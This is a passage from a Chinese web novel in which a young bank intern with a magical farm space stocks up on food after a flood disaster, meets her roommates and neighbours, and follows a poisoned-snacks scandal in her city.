因为秦小薇和经理说的是，她是来给自家的船买机器的，付钱之后，经理还热情地问她要不要帮忙把机器送到船上，他们可以安排人帮忙安装。 秦小薇拒绝了，只让经理帮忙把机器送到一个偏僻无人无监控的路段，和送货的人说待会会有人开车过来取货，让他们先回去。 离开工厂前，经理还给了她一张名片，让她有问题随时联系，他们的机器保修五年。 等帮忙送货的司机离开后，秦小薇立刻把东西收入仓库，紧接着，又骑车回了市区，找了家酒店开了间钟点房。 她没有休息，而是进空间试验刚到手的机器。 可能是空间里海水的水质比较好，处理好的淡水异味没那么明显。 机器要放在沙滩边，离她的猎人小屋有点远，空间里的电线不够长，为此，秦小薇不得不调整了一下猎人小屋的位置，把它挪到海边的沙滩上。 沙滩上的猎人小屋……好像不太搭？等有时间换套房子住吧！ 确定机器可以用之后，秦小薇又联系了回程的司机，和对方约定了见面的时间地点，就下楼退房了。 到目前为止，这趟云市之旅都还算顺利，除了……她的钱包一下子少了四沓半纸币。 可能是因为这边临海，这边食物的限购不像宁市那么严格，准确地来说，是在海产品方面，限购不像宁市那么严格。 像是海带、发菜、裙带菜这些食用藻类，一次可以购买几十斤，还不用刷身份证！ 但那些地里长的蔬菜水果，云市和宁市一样稀缺，每人每天只能凭身份证买一斤。 难得碰到一个能囤食物的地方，就算已经超预算了，秦小薇依旧决定囤一些。 她又拿了两万出来，买了不少干货和海带苗、裙带菜苗……她原本还想囤点新鲜海鲜的，但是海鲜离了水容易死，她仓库又没那么多格子，最后只挑了海肠和海胆多买了一些——她中午在饭店里吃到了这两样，味道非常惊艳。 云市已经有一些海鲜餐厅开业了，只是价格有点贵，随便一顿饭都是四位数起步。 秦小薇难得来一趟，下午就要回去了，自然要好好尝尝鲜！ 采购完之后，差不多到了和司机约定的时间，秦小薇就去约定的地方等司机了。 回去这趟坐的依旧是大卡车，但和来时不同，驾驶室里已经坐满了，她只能拿个小板凳，坐在后车厢里，后车厢里坐了不少带着行李的人，看上去有些拥挤。 见秦小薇上来了，众人挪了挪位置，自发给她让了个位置。 从半夜一点多熬到现在，秦小薇已经很困了，见后车厢里这么多人，她觉得这趟车应该是安全的，原本还想着眯一会。 但小板凳的乘坐体验实在是比不上副驾驶的皮质座椅，坐了不到半个小时，她就觉得自己的屁股快要颠麻了。 碰到比较颠簸的路段，秦小薇甚至还会脱离小板凳“飞”起来，她根本就睡不着。 早知道就再等等，找个大巴车了！ 就算玩手机，车上的环境也晃得她眼晕头疼。 出门真不容易啊！周末果然还是更适合在家里躺平睡觉！ 下周应该就可以躺平了吧？ 因为车上太颠了，其他人也没心情聊天，只默默扶紧车壁稳定身体…… 担心自己会晕车吐了，她连晚饭都没敢吃。 驾驶室里有两个司机轮流开车，所以路上车子一直没停，中途一直有人上车下车，等到了宁市的时候，车上的人就只剩一半了。 结束她人生中有史以来最颠簸的一趟车后，秦小薇狠狠松了一口气。 她在寝室群里发了条消息，提醒室友们晚上可以来她家做饭，简单收拾了一下，秦小薇就一头栽到床上去了。 一天两夜没睡，她要好好补个觉！ 不知睡了多久，秦小薇被外面的敲门声吵醒了，她半眯着眼睛打开手机，看了下手机上的监控，是她的三个室友在敲门。 她赶紧穿上鞋子过去开门。 三人看到秦小薇的模样都很惊讶：“薇薇，你午觉睡到现在？不像你的风格啊！” 秦小薇：“不是，我是从早上睡到现在，现在出门可真不方便，这趟快累死我了……你们先洗菜，我洗漱完就去帮你们！对了，我还带了些特产回来，你们看看有没有想吃的……” 听到吃的，范槿的眼睛瞬间亮了：“在哪呢？都有什么？快让我康康……” 秦小薇：“放米的柜子里，你们自己拿！” 第39章 第3 9章放假（双更合一）…… 三人都对秦小薇口中的“特产”很好奇,听到她的话，三人直奔米柜而去。 然后，厨房里就不断响起她们的惊叹声。 范槿：“好多干菜！龙须菜、干裙带菜……你们会做这个吗？” 肖琳琳：“还有鱿鱼丝！甜的！好好吃！” 段霞：“这鱼干是熟的吗？可以直接吃吗？” 范槿：“是熟的,生鱼肉不长这样！” “……” 等秦小薇洗漱完从浴室里出来的时候,她们已经左手鱿鱼丝,右手烤鱼片，吃了起来。 秦小薇昨天晚上就没吃晚饭,一觉睡醒也觉得饿了,她拿了片烤鱼片，和她们一起填肚子。 范槿：“薇薇,你昨天去哪了？怎么买了这么多吃的回来？” 秦小薇：“云城，那边临海，海产品很丰富,几乎不限购……” 范槿：“这么好？早知道当初填志愿的时候我就填云城的大学了,现在也不至于喝碗青菜粥都要靠抢的……对了，薇薇，你怎么到云城去了？云城离我们那么远！” “经理要出差,缺个人帮忙，就带上我了。”秦小薇随便找了个理由糊弄过去,“现在出门可真不方便,我们没买到机票，是坐大卡车过去的，虽然基本上全程走高速,但还是好颠，我现在屁股都还疼……” 肖琳琳：“早知道那边海产品不限购，我就让你帮忙带一些了！” 秦小薇摆了摆手，一副心有余而力不足的样子：“不是我不告诉你们,我还要帮我们经理拿东西，这一柜子已经是我的极限了，再多真带不了……” 其实她空间里还有不少，是因为想着以后这些东西要拿出来吃，才拿了一部分出来放柜子里。 稍微垫了点肚子后，几人才开始准备晚饭。 秦小薇带回来的那些干菜也被她们列入了晚餐的菜谱，有几样菜她们不知道该怎么吃，还特地上网搜了下教程。 秦小薇买的这些藻类干货，泡发率真的很高，比如说裙带菜，一点点就可以泡发一大碗，煮一锅鲜美的裙带菜蛋汤。 一袋100克的裙带菜就可以吃很久…… 三个室友都对云市的情况很好奇，吃饭的时候，一直和她打听云市的事，秦小薇便挑了一些能说的说了。 秦小薇：“那边地里长的新鲜蔬菜比咱们这还少，不过那边海货很多，云市的人不用和我们一样，天天吃能量饼干……海鲜比我们这便宜一点，但也不是特别便宜……本来想带点活的海鲜回来的，但是车上的环境太差了，又买了很多特产，就没带……” “我们还去了一家海鲜餐厅，价格特别贵，但是东西真的很好吃……尤其是海胆蒸蛋和海肠捞饭！” 聊完了云市的事，秦小薇又打听起裴欣的八卦，这一周她都在忙工作和囤货的事，根本没时间关注学校里的八卦，室友们倒是很关注，对裴欣的事一清二楚。 段霞：“裴欣已经出院了，她爸妈在附近租了个房子，暂时带着她住在外面，她这周不在寝室，她室友就回来了……裴欣和她前男友都被记了大过，裴欣的爸妈还来学校找辅导员求情，但学校已经做了决定，他们再怎么求情也没用。” 秦小薇有些惊讶：“为什么会被记过？” 范槿抢着回答道：“违反校规了呗，他们未婚先孕，算是扰乱学校秩序……要不是他们闹这事，我还不知道咱们Q大有这条校规！” 秦小薇听得忍不住摇头，临近毕业，履历里多了这么一笔，他们以后找工作怕是不会太容易。 肖琳琳：“以前有人不小心弄出了孩子，都自己悄摸摸解决了，不像她，让辅导员亲自送医院抢救，还发动全班的人献血救命……他们学院老师想睁一只眼闭一只眼都不行！” 秦小薇：“那药呢？药真的是她前男友弄到的吗？” 范槿疯狂点头：“那个小三花钱帮忙弄的，她前男友不想惹麻烦，就忽悠裴欣，说有些人吃药就能流干净，根本不用做手术。裴欣找不到地方做手术，就只能听他的，为了保险，还自己加了药……听说大一大二还有些辅导员拿他们当例子告诫班上的女生要自爱，他们也算是全校出名了。” 秦小薇：“……”这种药也能随便加量？ 秦小薇：“那个渣男也算是自作自受，不想惹麻烦，最后却惹了更大的麻烦。” 范槿：“谁说不是呢！” 吃完饭、洗完碗之后，三个室友洗澡的洗澡，充电的充电……秦小薇则坐在书桌前算账。 宿舍楼还没恢复供水供电，想给手机充电还能拿着插线板在工作日的时候去教学楼蹭电，但要是想洗热水澡，学生们要么组团去酒店开钟点房，要么想其他办法……1206三个人的办法就是来秦小薇这借浴室。 反正她们自己烧水提水，最后一个洗澡的还会顺手把浴室打扫干净，秦小薇也就不在意了。 周末出门，吃饭加上车费、囤货、买海水淡化设备……零零总总加在一起一共花了六万三，再加上之前囤货、买机器花的十万，现在她手上的存款只剩七万多了…… 唉！钱不禁花啊！ 早知道之前涨水的时候就再勤快一点了！ “薇薇，浴室的水被我们用得只剩一桶了，现在送水车已经走了，明天我们再过来帮你提水！”段霞拿着秦小薇的吹风机，有些不好意思。 秦小薇摆了摆手：“没事，我自己下去提就行了，不费什么事！” “薇薇，你吃鱿鱼丝吗？”范槿拿着一袋鱿鱼丝凑了过来，“你在看什么书？《阳台种菜指南》，你要在家里种菜吗？” 秦小薇点头：“买了点种子，想自己种种看……超市的菜太难抢了！” 范槿：“等交通恢复了，外面的菜都运进来了，情况肯定会恢复的，不过自己种点也行……薇薇，要我帮你挖土吗？” 秦小薇伸手捏住她脸颊上的肉，往两边扯：“听你这语气，怎么感觉你对我一点信心都没有？难道你觉得我会把它们都养死？阿霞之前带回来的葱我明明养得很好！” 范槿在她手下奋力挣扎：“窝错了……别捏窝脸了！” 四人聊了会儿天，眼看着时间已经很晚了，范槿三人才带着一包鱿鱼丝依依不舍地离开。 秦小薇这趟还在云城买了不少海带苗、裙带菜苗……这些是可以种在海水里的，她上网搜了种植教程，还做了笔记。 等她看完教程，时间已经很晚了。 秦小薇想了想，决定把种菜的事推迟到下周，反正它们种下去之后一时半会也长不出来，还是先睡觉吧！ 明天还要早起当社畜呢！ 早上起床进空间后，秦小薇发现农场空间里出了个“春日游园”的活动，生产一定数量的指定物品后，即可逐步解锁奖励。 最终的奖励是一个种满了鲜花的小花园。 农场空间里已经有很多不同风格的“装饰物”了，秦小薇对最终的奖励不太感兴趣，不过活动前期奖励的金币和经验她非常眼馋。 她现在正缺金币呢！ 她算了算，完成这个活动，她就可以再升一级解锁西红柿了，攒的金币也够她买下剩下一头小猪崽后再在仓库里开一个格子。 秦小薇顿时动力满满，记下活动需要生产的物品后，立刻给黑土地还有工坊安排了生产任务…… 早上到银行后，秦小薇惊喜地发现，支行所在的这片区域恢复供电了！ 供电恢复之后，过来取钱的人一下子少了很多，秦小薇上午甚至有时间和同事们聊天。 方圆 ：“薇薇，经理上周五开会的时候说的那款理财，你周末卖了多少？” “什么？”秦小薇茫然了一瞬，才想起来她说的是什么，“我周末有点事，把这事忘了！” “忘了？”方圆很惊讶，她捂着嘴，压低声音小声问道，“你不怕经理骂你啊？” 秦小薇无所谓道：“我觉得吧……他应该已经习惯了！” 每个月就那么点工资，作为实习生，完成了业绩还没有奖金，还想让她周末无偿加班，做梦吧！ 看到方圆满脸焦虑的模样，秦小薇知道她是在愁转正的事，便安慰她：“你在咱们几个实习生里面表现最好，肯定能留下来的！” 方圆：“希望吧……不知道今年咱们支行有几个转正名额。” 下午比上午更闲，银行里几乎没几个客户，秦小薇一直在摸鱼玩手机。 唯一让她觉得遗憾的是，附近的甜品店和奶茶店都没开门，她不能像以前一样，和同事一起去买下午茶打牙祭。 三点多的时候，银行里来了一批安装工人，开始在银行的外墙上打孔安装太阳能板。 秦小薇凑过去看了个热闹，和她家的一样，太阳能板的牌子也是跃能的，不过贵很多，银行安装的这款售价六位数。 大家都觉得很奇怪，前两个星期供电没恢复，银行天天用发电机发电，吵得大家脑子嗡嗡的，怎么现在供电恢复了，还要安装太阳能发电板？ 按理说，不是应该之前就安装吗？还能省点发电的柴油钱！ 大家闲着没事，便和经理聊起了这事。 经理：“我也不知道，行长安排的，说是上面要求的，每家支行都装了……可能是为了响应环保的要求？我听说发电厂现在还是烧煤炭发电……太阳能比煤炭环保，不会污染环境。” 听着众人的聊天声，秦小薇想到了之前在跃能官方店看到的政府补贴，心中一跳。 上面忽然开始要求安装太阳能发电板，难道后面会发生什么事导致断电或是发电厂供不上电？ 支行原本的电路被水泡过后就不能用了，复工后，行长找来的工人也只在大厅和办公室简单布置了几根线，非常粗糙。 要用太阳能板供电，银行里的电路就得改，刚好也能趁着这个机会把之前随便拉的线路重新布置一遍。 银行没有电根本没法办公。 于是……周一上了一天班之后，秦小薇莫名其妙又得到了两天的假期。 虽然不确定后面会发生什么，但多了两天假，秦小薇还是很开心的。 实习的工资太低了，她根本就没有上班的动力，只有摸鱼和放假才能让她感到快乐。 晚上到家后，秦小薇刚打开家门，对面的房门就打开了，李阿姨从屋里探出身来：“小秦，你上周没回来吗？我敲了好几次门，都没人开门……” 秦小薇：“上周有点事，没住在这边，李阿姨，您找我有什么事？” “你等等……”李阿姨转身回了屋里，等她再次出来的时候，手里多了一个玻璃罐子，“之前和你说好的，让你尝尝我自己磨的花生酱，我上周给你送了好几次，你都不在家……这花生酱没放防腐剂，你拿回去之后记得放冰箱里，尽量在一个月之内吃完。” 秦小薇推辞道：“这怎么好意思？现在外面花生这么难买……” 李阿姨：“跟我你还客气什么！” 一番推辞后，秦小薇收下了花生酱，不过她也没有白拿，她回屋拿了一袋干裙带菜和一袋干龙须菜作为回礼。 秦小薇：“阿姨，这是我周末去云市出差的时候带回来的特产，不值什么钱，你拿回去吃着玩……” 李阿姨：“这个龙须菜凉拌很好吃的……小秦，你真会买！” 站在走廊上和李阿姨聊了一会，秦小薇才开门回家。 李阿姨做花生酱的手艺确实很不错，尤其是用花生酱拌面，超级香！ 秦小薇昨天晚上试了试，第二天早上起来没忍住，又煮了一碗花生酱拌面配炭烤培根和煎蛋当早餐。 还是放假舒服，平时工作日上班，她哪有时间揉面煎蛋？都是用微波炉热几个包子就完事。 不过自己揉面挺麻烦的，等下午超市没人排队了，去看看有没有揉面机卖吧！ 或者直接买个全自动面条机也行！ 水稻还不知道要过多久才能解锁，等家里的大米吃完了，她的主食就要变成各种面食了，做饭工具不能少！ 吃完早饭，秦小薇开始折腾空间里的海带苗和种子。 她担心自己没经验，浪费了种子，只种了一小部分。 撒了种子的花盆，一部分放在空间里，还有一部分则放在公寓的阳台上。 下楼扔垃圾的时候，秦小薇看到对面的男主人正从楼下上来，除了他之外，他身边还站着一个男人和一只拉布拉多，拉布拉多身上穿了件军绿色、带背包的战术背心，看上去有几分威风。 对面的男主人不满地抱怨着：“……说了都按照你说的把花铲了，你怎么就不相信呢！还非得跑过来看，那些菜有什么好看的？丑死了！” 另一个男人的脸秦小薇还有印象，前不久，他才在学校带走了裴欣的拉布拉多，好像叫陆什么来着。 看到两人一狗的时候，秦小薇的脚步忍不住放慢了一些。 这是裴欣那只拉布拉猪吗？怎么感觉瘦了一大圈？ 秦小薇路过他们的时候，拉布拉多忽然停了下来，冲着她“汪”了一声，开始疯狂摇尾巴。 看着它嘴角晶莹的口水，秦小薇忍不住多看了它一眼，这馋样……确实是香肠没错了！ 秦小薇早上吃了炭烤培根，她以为拉布拉多闻到味道之后，会和之前一样，拦着她要吃的。 但牵着绳子的男人只扯了下绳子，拉布拉多就乖乖跟在男人身边，继续往前走，只是还不断回头朝着秦小薇的方向流口水。 看到拉布拉多的转变，秦小薇忍不住回头看了眼它的新主人。 这才半个多月的时间，就让香肠成功减肥了，还把“叛逆”的香肠训得这么乖，这人有点东西啊！ 但她也只是在心里感叹了一句，就继续下楼扔垃圾了。 她没注意到的是，在她转身后，因为拉布拉多的异样，牵着狗绳的男人也回头看了她一眼。 秦小薇没把这个小插曲当回事，扔完了垃圾，她就回家窝沙发上打游戏了。 玩了没多久，她家的大门就被人敲响了，是对面的李阿姨。 秦小薇打开门：“李阿姨，您有事吗？” 李阿姨手上提着一个袋子：“小秦，我想问问你上午吃了什么？能不能给我一些，少爷的朋友养的狗闻到味道了，一直趴在门边盯着你家的方向流口水，看起来太可怜了……这是今早刚送过来的牛肉，新鲜着呢！我和你换！” 秦小薇：“……”这一袋牛肉至少五斤，她竟然拿来换一顿狗粮？这就是有钱人的生活吗？ 但这要她怎么回答？现在超市里连冷冻区都没有，宁市根本买不到培根…… 她想了想，最后选择把锅甩到拉布拉多头上，反正它也不会说话。 秦小薇：“阿姨，我早餐就吃了煎蛋配拌面，鸡蛋和面条都是超市买的，但面条是用您昨天送的花生酱拌的……可能是您手艺太好了，狗闻到味道就走不动道了，李阿姨，那鸡蛋我家里还有，要不给你拿几个？” 李阿姨被秦小薇夸得眉开眼笑，她摆了摆手：“不用！不用！家里冰箱里就有鸡蛋！我回去就给它做……” 送走了李阿姨之后，秦小薇悄悄松了口气。 关门后，她嗅了嗅自己的衣袖，味道真的这么明显吗？ 空间里的鱼肉、培根、虾肉她天天吃，路上偶尔也会碰到宠物狗，也没见哪个和香肠一样，狗鼻子这么灵……看来是狗的问题！ 李阿姨回去之后，就把秦小薇的话和沙发上的两人说了。 陆昼挑眉：“拌面？煎蛋？不可能！我了解香肠，它肯定是闻到了肉味才这样……还是特别香的肉！” 李阿姨坚定道：“小秦是个好孩子，不会骗我的！再说了，我都拿那么大一块牛腱子肉去换了，她真要是吃了肉，肯定会换给我的！” 沙发另一边坐得毫无形象的男人嗤笑了一声：“你了解它？你才养了它多久？我看是你给它减肥减得太狠了，让它闻到吃的就想吃……有句话说得好，减肥的人哪有不发疯的，我看放到狗身上也是一样。” 陆昼：“我只是控制了香肠的饮食和运动量，没虐待它！” 对面的人朝着他扔了一个抱枕：“你我还不知道吗？什么都要按照你说的来，跟管犯人似的，这狗养在你那还不知道要吃多少苦！可怜的小狗……李阿姨，你去厨房给香肠弄碗拌面，配三个煎蛋！香肠，来我这做客，绝对不会让你饿着肚子回去。” 陆昼躲过他扔过来的抱枕，知道他是在不满他回来以后对他的“安排”，也没多解释什么，只看向李阿姨：“李阿姨，别给它做，香肠在减肥，它这身肉要是不减下去，以后老了容易生病。” 李阿姨：“那、那行吧！” 原本听到有吃的，香肠都从地毯上站起来了，听到陆昼这番话，它又无精打采地趴了回去。 两人聊了一会，陆昼就准备离开了：“时间差不多了，奚川，我先走了，香肠该去上课了！” 奚川震惊了：“上课？你不是在训它吗？” 陆昼点头：“我主要纠正它一些不好的生活习惯，在别的方面，还是驯犬师更专业，香肠很有天赋，就这么浪费可惜了……” 坐在沙发上的奚川听得连连摇头：“请了老师就算了，你还自己当家教……我已经可以想象到，以后你自己有了孩子，他的生活会多么水深火热！” 陆昼无奈地摇了摇头，没有说话，牵着牵引绳出了门。 拉布拉多似乎是舍不得离开，虽然紧跟在他身边，但它一步三回头，视线紧盯秦小薇家的方向，嘴角还不断往下滴哈喇子。 陆昼唇角溢出温柔的笑意，他停下来，伸手拍了拍拉布拉多的脑袋：“行了，今天让你多啃一根鸭脖！口水都快把我鞋子弄湿了——你个大馋狗！” 语气温柔又无奈。 “呜——”拉布拉多还是回头盯着秦小薇家的方向。 第40章 第40章毒零食（双更合一）…… 秦小薇对对面和走廊上发生的事一无所知,她上午除了进空间做“春日游园”的活动，就是窝在沙发上打游戏。 中午她不想再啃能量饼干，就进空间煎了一锅胡萝卜虾肉饺子,配着早上刚收的牛奶,美美吃了一顿午饭。 下午三点多的时候,秦小薇估摸着附近超市里的菜应该抢完了，才骑车去了附近的大超市。 远远地,秦小薇就看到超市外面的大屏幕上写着“今日生鲜已售罄”几个大字,超市门口几乎看不到排队的人。 秦小薇进入超市后，直奔小家电区。超市没有面条机,在售货员的介绍下，她最后选了一款多功能厨师机，换上不同的配件后,可以揉面、打发奶油、绞肉、控温发酵面团。 功能非常齐全,就是价格有点贵，一台机器要三千二。 感觉买回去以后，做包子、做面条都能用到,秦小薇咬咬牙，还是决定买了。 之前买农用机械的时候踩了太多坑,她付款前,还让售货员拿了台新的厨师机，把外包装拆了，试下厨师机通电后能不能正常使用。 售货员：“美女,你放心，我们这是连锁超市，不会卖被水泡过的坏机器！” 秦小薇笑了笑：“试一下我买得更安心！” “那倒是！”售货员拆了外包装，插上电源替她试机,“这是电源，按这里之后再按这个绿色键选择功能……机子保修一年，中间出了任何问题，您都可以来找我。” 买完了厨师机，秦小薇想到上午拉布拉多的反应，又去了生活用品区，补充了一些漱口水和空气清新剂。 生活用品区的东西和上次她来的时候相比，少了很多，有些东西卖完之后，似乎就没再补货，连货架上的价格牌都撤了…… 傍晚的时候，秦小薇接到了段霞的电话：“薇薇，导员说九点的时候有个线上班会，你到时候记得看下群消息。” 班上的同学实习地点很分散，有些同学还不在宁市，他们班已经很久没开班会了，听到段霞说要开线上班会，秦小薇觉得有些奇怪：“怎么忽然要开班会？出什么事了？” 段霞：“导员没说，只让我通知你们三个记得看群消息。” 秦小薇：“行吧！我到时候上线看看……” 八点多的时候，班级群就热闹起来了，大家聊着些日常的琐事、插科打诨，群消息刷得飞快。 九点的时候，辅导员准时出现。 【辅导员－赵琪：我们先来点个名，在线的同学扣个1。】 瞬间，班级群就被“1”刷屏了。 【辅导员－赵琪：收到通知，W省有一批有问题的食品流入宁市，目前宁市已经有一百余人因为这批食品食物中毒住院，请同学们注意分辨，前往正规的超市购买食物，不买、不吃渠道不明的食品。】 这段话发出来之后，辅导员又在群里发了一个长达二十分钟的视频链接。 视频是宁市电视台剪辑的，视频里，详细介绍了这批有问题的食品的来源、生产厂家、包装。 这批食品原本是冷冻的包子馒头，被洪水污染后，按照规定，它们是不能流入市场的。 虽然现在普通人对各类食物的需求量很高，但厂家弄不到原材料，没法开工。 虽然不开工，但厂里每天都要花钱，厂房要交租金，工人要发工资，银行贷款的利息也不会因为停工就不用付…… 商家为了赚钱，就起了歪心思，厂长联合其他厂家，把这些被洪水污染过的发霉的包子馒头，用化学物品处理后加工成重口味的小零食，高价卖去其他省份牟利。 宁市就是受害城市之一。 视频最后面，还提醒市民遇到了毒零食及时举报，还放了举报电话和举报小程序。 等秦小薇看完了视频，辅导员又在群里重复了一遍视频里的内容，提醒他们不要吃来源不明的食物。 【辅导员－赵琪：经过统计，季彤彤、万强、方彩今晚没来参加线上班会，寝室长记得通知他们看视频，警惕毒零食。】 秦小薇记下那些毒零食的外包装，又在群里回复了个“1”，才退出聊天软件。 十点多的时候，她工作的手机也响了起来，秦小薇打开看了看，行长也在群里发了毒零食的视频，提醒员工警惕毒零食。 这个晚上，她的朋友圈几乎被这个视频刷屏了。 打开同城APP，大家也都在讨论这件事。 消息传播得太快，有人连夜把售卖毒零食的商家举报了，还在警察到之前，纠结了一帮人把卖毒零食的商家给打了。 市政发了通告，表示会严惩这些倒卖毒零食的商贩。 因为市民们的积极举报，除了卖毒零食的中间商，宁市还抓到了一大批倒卖高价食物的商家……这波严打太厉害，连带着同城APP上卖高价种子和高价建材的商家都不敢冒头了。 秦小薇：效率好高啊！ 不过这事确实挺紧急的，要是不快点解决，肯定还会有更多的人食物中毒。 很 快，其他省市也传来了好消息，因为热心群众的积极举报，这个让国内数千人中招的特大“毒零食案”很快就结束了…… 周三一整天，秦小薇都待在家里。在家里可以随时进入空间，“春日游园”的活动进度往前走了一大截，她成功解锁了经验奖励，升到了23级。 不仅解锁了西红柿，空间里还多了一块黑土地。 西红柿的生长周期是24小时，秦小薇周四晚上下班回来的时候，西红柿刚好成熟。 她迫不及待地收获了第一批西红柿。 黑土地出产的西红柿颜色略带点粉，和她以往在超市买的硬邦邦的西红柿不一样，它外皮有点软，指甲轻轻一掐，就会破皮渗出汁水。 每份西红柿三个，大小不一，三个加起来刚好500克。 秦小薇挑了个小的直接咬了一口，西红柿汁水充盈，酸甜可口，比她以往在水果店买的二十多一斤的小番茄还好吃。 晚上，秦小薇用收获的西红柿做了个番茄炒蛋，番茄下锅后没多久就变软出沙，做出来的菜味道非常不错。 以后不用天天啃胡萝卜了，秦小薇对新解锁的西红柿非常满意。 之后几天，她又试了番茄鱼片、自制番茄酱、番茄虾滑汤……解锁了番茄的不同吃法。 这周放了四天假，工作又不忙，空闲的时间多了，秦小薇的心情都变好了。 这周她比较肝，原本七天结束的“春日游园”活动，她五天就完成了，解锁了最终奖励。 一转眼，又是半个月过去，距离水退已经过去一个多月了，在众人的努力下，宁市城区的情况基本上已经恢复正常。 市面上售卖的新鲜蔬菜越来越多，虽然种类有限，来来回回就那么几样，但普通人现在买菜容易多了，只要早上早点起来，中午和晚上的餐桌上就不会无菜可吃。 路边卖菜的小摊贩也多了起来，虽然价格比暴雨前贵了好几倍，但蔬菜的价格本就不高，普通人基本上都能吃得起。 就是肉类依旧稀缺，大米和面粉也只能在大超市里凭身份证限量购买。 她的房租一季度一交，房租很快就要到期了，秦小薇之前是计划到期后搬家的，但因为她心里那个有些离谱的猜测，再加上她觉得对面的男主人有特殊消息渠道，现在她已经不打算搬家了，她要继续在公寓楼住下去。 这事过去这么久，她现在已经不害怕了。 秦小薇能找到更安全的小区，却不一定能找到像对面这样有钱有消息渠道的邻居。 继续住在这边，要是以后真出了什么事，她还能仗着近水楼台抄大佬的作业！ 不过她没有搬家，公寓楼这段时间倒是有不少人搬走了——楼上死过人，很多人都忌讳这一点。 再加上公寓楼的电梯被水泡坏了，得整个换新，但换电梯需要一大笔钱，业主们不愿意掏钱，一直僵持着，电梯一直不能用，公寓楼有二十多层，没有电梯，上下楼非常麻烦。 因为这两个原因，连带着他们这栋楼的租金都下降了一些。 毕竟楼上有些人租了房子是开店的，没哪个顾客出来做头发、做美甲、拍写真的时候，愿意出一身汗爬十几层楼…… 秦小薇续房租的时候，拿这事和房东砍价，成功把租金从一千三砍到了一千。 这段时间，她时常去找李阿姨聊天，和她聊阳台种菜的事。 李阿姨打理花花草草是一把好手，现在改成种菜，依旧能把阳台的蔬果料理得妥妥当当。 秦小薇从她那学了不少种地小技巧，还从对方那弄到了一些耐寒耐旱的蔬果种子…… 学校的水电恢复之后，室友们也不来她这洗澡了，秦小薇和三个室友又变成了线上交流。 这天是周末，秦小薇起床后发现，学校各个群里都非常热闹。 Q大忽然要给学生宿舍装空调，大家都在讨论这件事。 Q大是百年名校，因为各种历史原因，学校的线路带不起那么多台空调，只有教师公寓、研究生宿舍、博士生宿舍和各个实验室、办公楼装了空调，基数最大的本科生宿舍就只有风扇。 夏天天气太热，学生们就只能吹着风扇硬熬。 每年夏天，学校论坛里都有人讨论装空调的事，但学校一直没给出明确的回复。 【肖琳琳：薇薇，我们宿舍要装空调了！班长让我们待会下楼领空调，下午师傅就会来我们宿舍装空调！】 【范槿：大一大二不装，现在快要毕业了，倒是都装上了……果然就像网上说的那样，毕业之后，学校各方面都改善了！】 【段霞：之前不是说学校的线路带不了那么多台空调吗？估计是这段时间换了新线路，能带起来了，学校就把空调给咱们安排上了！】 【秦小薇：咱们现在还没毕业呢！搬寝室也得再过几个月！饭饭，往好处想，这空调你还是能享受到的！】 【范槿：薇薇，你下午要来宿舍楼围观吗？】 【秦小薇：不了，我昨天收到了邮件，老师说我的毕业论文有几个地方还要再改改，我周末得在家改论文。】 【范槿：什么？薇薇，你的毕业论文已经交上去了？！你不是还要实习吗？哪来的时间写论文？】 【秦小薇：之前涨水的时候。】 【范槿：我那段时间光顾着赚钱了……】 【范槿：啊啊啊啊怎么办？我还没开始动笔！】 【秦小薇：你可以从这个周末开始，早写完早超生！等实习结束了，你还要毕业答辩、投简历参加校招、秋招、面试、找房子搬家……到时候事情更多，现在把能做的先做了，要不然到时候事情都堆到一起你会崩溃的。】 【范槿：流泪猫猫头.gif】 【秦小薇：猫猫加油.jpg】 和室友们聊完天后，秦小薇进空间热了几个韭菜虾仁馅的包子填肚子，就下楼骑车去了超市。 早上超市里很多人，秦小薇先去了米面区，拿了一袋大米，才去生鲜区“捡漏”。 这周宁市的大型超市基本上都开业了，买东西不用再提前过来排队，秦小薇每天早上都会来超市转一圈，每天搬三斤米、两包能量饼干回家，要是碰到新鲜的肉类和蔬菜，她也会买一些。 周末超市人比较多，秦小薇今天没抢到肉，只抢到了一袋生菜。 从超市回来后，她还顺道去了趟快递驿站，取了几个快递，到家后，她就坐在书桌前改她的毕业论文。 上午她收到了室友发来的空调照片，秦小薇惊讶地发现，除了空调，三个室友搬回来的东西里面还有一套太阳能发电板。 这段时间，宁市到处都是跃能的广告，因为广告太具有煽动性，说花几千买一套设备，以后就不用再交电费了，再加上还有政府补贴，不少普通人都买了跃能的太阳能发电板。 现在站在街上，一抬头就能看到一大片太阳能发电板。 【秦小薇：宿舍安上太阳能发电板，咱们是不是就不用再花钱买电了？】 【范槿：是的！今年夏天我终于不用再在家和学校两头跑了！还可以省下一大笔电费！】 范槿是本市的，她又怕热，宿舍没有空调，夏天一到周末，她就忍不住回家“避暑”。 【秦小薇：那挺好的！以后报考我们学校的学弟学妹们有福了！】 一转眼，又过了半个月，宁市的情况越来越好，市面上的物资越来越充足，除了去超市买吃的依旧限购、很多餐饮店因为原料不足持续歇业，宁市的情况和暴雨前几乎没什么区别，就连治安也都恢复得差不多了。 虽然国内基本上恢复正常了，但国外的情况却不怎么好。 看国际新闻和国外网友发的视频，国外有些国家疫病横行，死了不少人，有些人甚至开始丧心病狂地吃同类的尸体；还有些地方各个势力大乱炖，在抢地盘打仗，普通人的生活可以用水深火热来形容，连温饱都没办法维持；部分还算和平的国家，也在艰难地进行灾后重建工作……在经历了全球暴雨的洗礼后，他们算是恢复最快的国家了！ 纠结了好几天之后，秦小薇决定周末去摆摊卖爆米花。 实习工资没办法覆盖她的支出，她还时不时就去趟 超市，或是在网上买点东西，因为之前收入一直不错，她花钱一向很随意……眼看着存款一天天减少，她变得有些焦虑。 秦小薇不想让自己陷入负面情绪中，她想做点什么改变现状。 她不确定这个世界会不会还有其他的灾难，国内会不会变得和国外一样……但国内的货币体系丝毫没有崩塌的迹象，在市政的管控下，建材和食品原本高昂的物价，也逐渐趋于稳定。 在这种情况下，她手上有钱，日子才会过得比较舒心。 在群里得知秦小薇要开始摆摊之后，三个室友都很担心，毕竟上次打车遇到黑心司机的事，她们到现在依旧印象深刻。 虽然那次不久后她们就看到新闻，说群里那些人都被抓了，主犯更是被重判，但经历过被抢事件后，现在听到秦小薇说要一个人出去卖爆米花，室友们都很担心她会遇到什么不好的事。 【范槿：薇薇，要不让阿霞陪你去吧！我和琳琳这周末要肝毕业论文，估计得在寝室里扎根了……】 【秦小薇：不用，我都摆了这么久的摊了，我一个人可以的！】 【秦小薇：小吃街边上就是商场，商场门口还有保安巡逻，不会有人想不开动手的。】 【段霞：我周六上午过去陪你，要是真没事，我下午就回来。】 虽然秦小薇再三拒绝，但室友们实在是太热情，她最后只能妥协。 